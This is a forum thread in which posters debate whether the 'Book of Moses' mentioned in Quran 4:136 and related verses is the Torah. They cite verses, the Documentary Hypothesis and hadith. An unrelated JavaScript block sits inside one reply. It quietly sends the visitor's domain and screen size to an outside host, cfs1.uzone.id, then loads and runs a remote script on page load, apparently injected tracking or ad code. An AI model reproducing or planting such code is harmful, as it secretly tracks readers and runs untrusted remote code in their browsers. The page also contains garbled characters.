An Nisa 4:136: The Scripture Before the Quran

In the Holy Koran, there is a particular verse that command the believers to believe in the Book before the Quran.
"O you who believe, believe in Allah and His Messenger, and the Book which He sent down upon His Messenger, and the Book which He sent down earlier. And whoever disbelieves in Allah, and His Angels, and His Books, and His Messengers, and the Last Day, then he has certainly gone far astray." (the Quran 4:136)

�The Book which He sent down earlier� or �the Scripture which He sent down before� is in singular form, which means that there is �only� one Book that every believer has to believe in other than the Quran. But which one? There are many books that had been sent down before Muhammad. The Torah, Psalms, and the Gospel, to name a few; not to mention the books that were given to the Prophets like Isaiah, Jeremiah, Ezekiel, Jonah, etc.

To identify which book that the Quran talked about in the verse above, we have to look in some other verses:

1. �And before it (the Quran) was the Scripture of Moses to lead and as a mercy. And this is a confirming Book in an Arabic tongue to warn those who have wronged and as good tidings to the doers of good.� (the Quran 46:12)

2. They said, "O our people, indeed we have heard a Book revealed after Moses (that is the Quran) confirming what was before it which guides to the truth and to a straight path. (the Quran 46:30)

3. Is he then who has with him clear proof from his Lord, and a witness from Him recites it and before it (the Quran) is the Book of Moses, a guide and a mercy? (the Quran 11:17)

4. But when the truth came to them from Us, they said, "Why was he not given like that which was given to Moses?" Did they not disbelieve in that which was given to Moses before? They said, "[They are but> two works of magic supporting each other, and indeed we are, in both, disbelievers." Say, "Then bring a scripture from Allah which is more guiding than either of them (the Quran and the Book of Moses) that I may follow it, if you should be truthful." (the Quran 28:48-49)

5. And indeed, We already brought Moses the Book; so do not go into wrangling about receiving it; and We made it for a guidance to the sons of Israel (the Quran 32:23)

From the verses above we can conclude that the Book or the Scripture before the Quran is the Book of Moses. Now the question is, what is the Book of Moses? Is it the Torah, or is is something else other than the Torah?

Many believe that the Torah is the Book that was given to Moses, and the Book that was given to Moses is called the Torah. This is a false assumption. Never in the Quran that the Book given to Moses is called the Torah, and the Quran never states that the Torah is given to Moses. The Quran simply says that the Torah is sent down to the sons of Israel, but not to Moses the prophet. So, we must distinguish between the Torah and the Book of Moses.

The Torah is the first five books in the Bible, that is Genesis, Exodus, Leviticus, Numbers, and Deuteronomy. According to the Documentary Hypothesis, the Torah is not written by Moses himself, but by several authors whom they call as J, E, D, and P. That can explain why there are some contradictions and the doublets in the Bible, particularly in the Torah, such as how many pair(s) of animals that were in the ark of Noah: one pair or seven pairs, who sold Joseph: the brothers, the Midianites, or the Ishmaelites, why did they told the story of the quails twice, and so on.
Since there are contradictions and doublets in the Torah, we can conclude that the Torah is not written by Moses. So we can say that the Book of Moses that the Quran talked about is not the Torah.

I believe that the Book of Moses is just a small part of the Torah today.
Read more

What do you guys think?

DavidC wrote: Excuse a Christian's imposition in this section, but the only possible book would be the tablet with the ten commandments. That was is the only direct, written communication from divinity given to Moses. All other communication to Moses was verbal.

Thanks for your comment.
You maybe right.

I think the book of Moses is either the Ten Commandments only or the Ten Commandments and the Covenant Code, both are written in Exodus.if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs1.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpnmeUDq4oHFSgxQd6n1l9c350aARYlCXNOLPtUIDS2rZKOaSmb2mpedLXXIAdSItzN%2bKh5%2bf5xVuDptoSz2sGvU1RFGNFHVSaygjjyGdUNUY6ZzKu%2bc211Nd7m5nlybPE1HNQFcSEbqzLNn067%2f5ZfBuJhwdRXNEPBXk%2bXIZ%2bxkDrTT645qx7XdArbc7S7Rgg%2bOR9htLLPkh0fGajJasnHsR2yuLWQVEsVbTkJzcsbge3Tj3pMVSynsuG5YlRPRqQWzRP2Hw8nA8ipalIDAK5cvzUyPd4ZVcyLdF3EkuKupvvHmPstFlkZ24a1j3Uc9uZoVAlMEYhK0XcBVRsxbkoHu0tnk7nuA3QwzP6i%2fv7OMU%2bJ70NELaXYfal0GuKMZ4FGXu34LYA%2bk%2f7ohyQWGEJVFKP6s9XeentHJF6U5sFKA2JQQDZQ2QNyQYx7axfr%2bQYteu21bYHACiKfHNqQXJRyo0eVC9dF2W7O54%2fFAweKAxFMgCaM8n6mVWLSTv5teFNLP5nBSwy6rHYJc%2bReIfzjOL7dd1qI7X4Vd23xepRfzqw%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};

Edited by ovibos - 19 September 2016 at 7:15pm

Assalamu�alaikum,

I beg permission to explain about your question and your opinion.

There are several verses in the Quran which explains that the Torah was given to Moses, please see the following verses: Quran 2:87, 5:46, 6:154, 17:2, 25:35 etc.

I'm just going to try to explain asbabunnuzul of one of those verses, that is Quran 5:46

From Ibn 'Umar, he said that at that time the Jews and the Christians usually pervert the laws that are contrary to Allah's laws that have been established in both the Torah and the Gospel, then this verse came down.

Indeed, in the Quran does not mention directly that the Torah to Moses, or Moses was given the Torah, but if we see from the junction of the storyline between one verse to other verses about the Torah refers to Moses.

Even Prophet Muhammad had also ever said the word "Torah" as follows:
Narrated by Bukhari (6336) from Ismail bin Abdullah from Malik from Nafi from Abdullah ibn Umar radiallahu anhuma that he said: "Jews came to the Prophet Muhammad and tells us that there is a man of them, and a woman commit adultery. The Prophet asked: "How did you get in the Torah about stoning? ...."

I also believe that the Scriptures of Moses is only a small part of the Torah today, not only this day, even It's been a long time ago that the torah had been changed. The Torah had been corrupted by Gemara and Mishnah, so they prefers the fatwa in the Talmud, among other: "O my son, you shall prefer the fatwa of the scribes rather than the verses of the Torah."
(Erubin:2)

Wassalaam.
Asep